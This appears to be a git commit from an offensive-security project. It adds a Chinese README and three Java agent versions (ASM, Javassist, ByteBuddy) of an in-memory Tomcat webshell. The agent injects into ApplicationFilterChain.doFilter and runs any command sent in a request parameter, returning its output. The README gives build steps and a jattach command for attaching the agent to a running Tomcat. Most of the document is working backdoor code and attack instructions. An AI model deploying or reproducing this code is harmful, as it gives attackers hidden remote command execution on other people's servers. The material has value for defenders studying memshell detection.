feat: add three implementations for agent memshell

This commit is contained in:
ReaJason
2025-04-06 13:55:17 +08:00
parent 02c7abd086
commit bc9ce37a52
8 changed files with 295 additions and 57 deletions
+65
View File
@@ -0,0 +1,65 @@
## Agent 内存马
### 实现原理
JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的
Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。
JavaAgent 有两种入口:
1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了
`public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加
`java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。
2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了
`public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行
attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。
当一个 jar 包中 MANIFEST 定义如下时:
```text
Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
```
那么这个 Java Agent 既支持静态注入,也支持动态注入。
### 实现方式
> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式
1. 基于
ASM[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
2. 基于
Javassist[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
3. 基于
ByteBuddy[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
### 如何使用
可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。
```bash
## 进入项目根目录
cd MemShellParty
## MacOs or Linux
./gradlew :memshell-agent:jar
## Windows
gradlew.bat :memshell-agent:jar
```
构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如:
- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar
- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar
- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar
下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。
1. 启动你需要注入的 Tomcat
2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径
3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功
@@ -16,7 +16,6 @@ java {
dependencies {
implementation 'org.ow2.asm:asm-commons:9.7.1'
implementation 'javax.servlet:javax.servlet-api:3.1.0'
}
jar {
@@ -27,4 +26,6 @@ jar {
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
}
jar.finalizedBy shadowJar
@@ -4,7 +4,7 @@ import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Method;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
/**
@@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name) &&
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
return new DoFilterMethodVisitor(mv);
}
return mv;
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name) &&
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
return new DoFilterMethodVisitor(mv);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
};
}
return bytes;
}
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new CommandFilterChainTransformer(), true);
}
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new CommandFilterChainTransformer(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
private static class DoFilterMethodVisitor extends MethodVisitor {
@@ -178,32 +210,4 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
getClassLoader.setAccessible(true);
System.out.println(getClassLoader.invoke(cw));
ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new CommandFilterChainTransformer(), true);
}
public static void agentmain(String args, Instrumentation inst) {
System.out.println(DoFilterMethodVisitor.class.getClassLoader());
inst.addTransformer(new CommandFilterChainTransformer(), true);
}
}
@@ -1,16 +1,31 @@
plugins {
id 'java'
id 'com.github.johnrengelman.shadow' version '8.1.1'
}
group = 'com.reajason.javaweb'
version = '1.0.0'
dependencies {
testImplementation platform('org.junit:junit-bom:5.10.0')
testImplementation 'org.junit.jupiter:junit-jupiter'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
test {
useJUnitPlatform()
}
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.17.5'
}
jar {
manifest {
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,71 @@
package com.reajason.javaweb.memshell.agent;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/4/2
*/
public class CommandFilterChainTransformer implements AgentBuilder.Transformer {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String paramName = "paramName";
try {
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。
}
} catch (Exception ignored) {
}
return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
.transform(new CommandFilterChainTransformer())
.installOn(inst);
}
}
@@ -1,15 +1,31 @@
plugins {
id 'java'
id 'com.github.johnrengelman.shadow' version '8.1.1'
}
group = 'com.reajason.javaweb'
version = '1.0.0'
dependencies {
testImplementation platform('org.junit:junit-bom:5.10.0')
testImplementation 'org.junit.jupiter:junit-jupiter'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
test {
useJUnitPlatform()
}
dependencies {
implementation 'org.javassist:javassist:3.30.2-GA'
}
jar {
manifest {
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,66 @@
package com.reajason.javaweb.memshell.agent;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class CommandFilterChainTransformer implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new javassist.LoaderClassPath(loader));
CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
String code =
"String paramName = \"paramName\";" +
"try {" +
" String cmd = $1.getParameter(paramName);" +
" if (cmd != null) {" +
" Process exec = Runtime.getRuntime().exec(cmd);" +
" java.io.InputStream inputStream = exec.getInputStream();" +
" byte[] buf = new byte[8192];" +
" int length;" +
" while ((length = inputStream.read(buf)) != -1) {" +
" $2.getOutputStream().write(buf, 0, length);" +
" }" +
" return;" +
" }" +
"} catch (Exception ignored) {}";
doFilter.insertBefore(code);
byte[] transformedBytes = cc.toBytecode();
cc.detach();
return transformedBytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new CommandFilterChainTransformer(), true);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new CommandFilterChainTransformer(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
}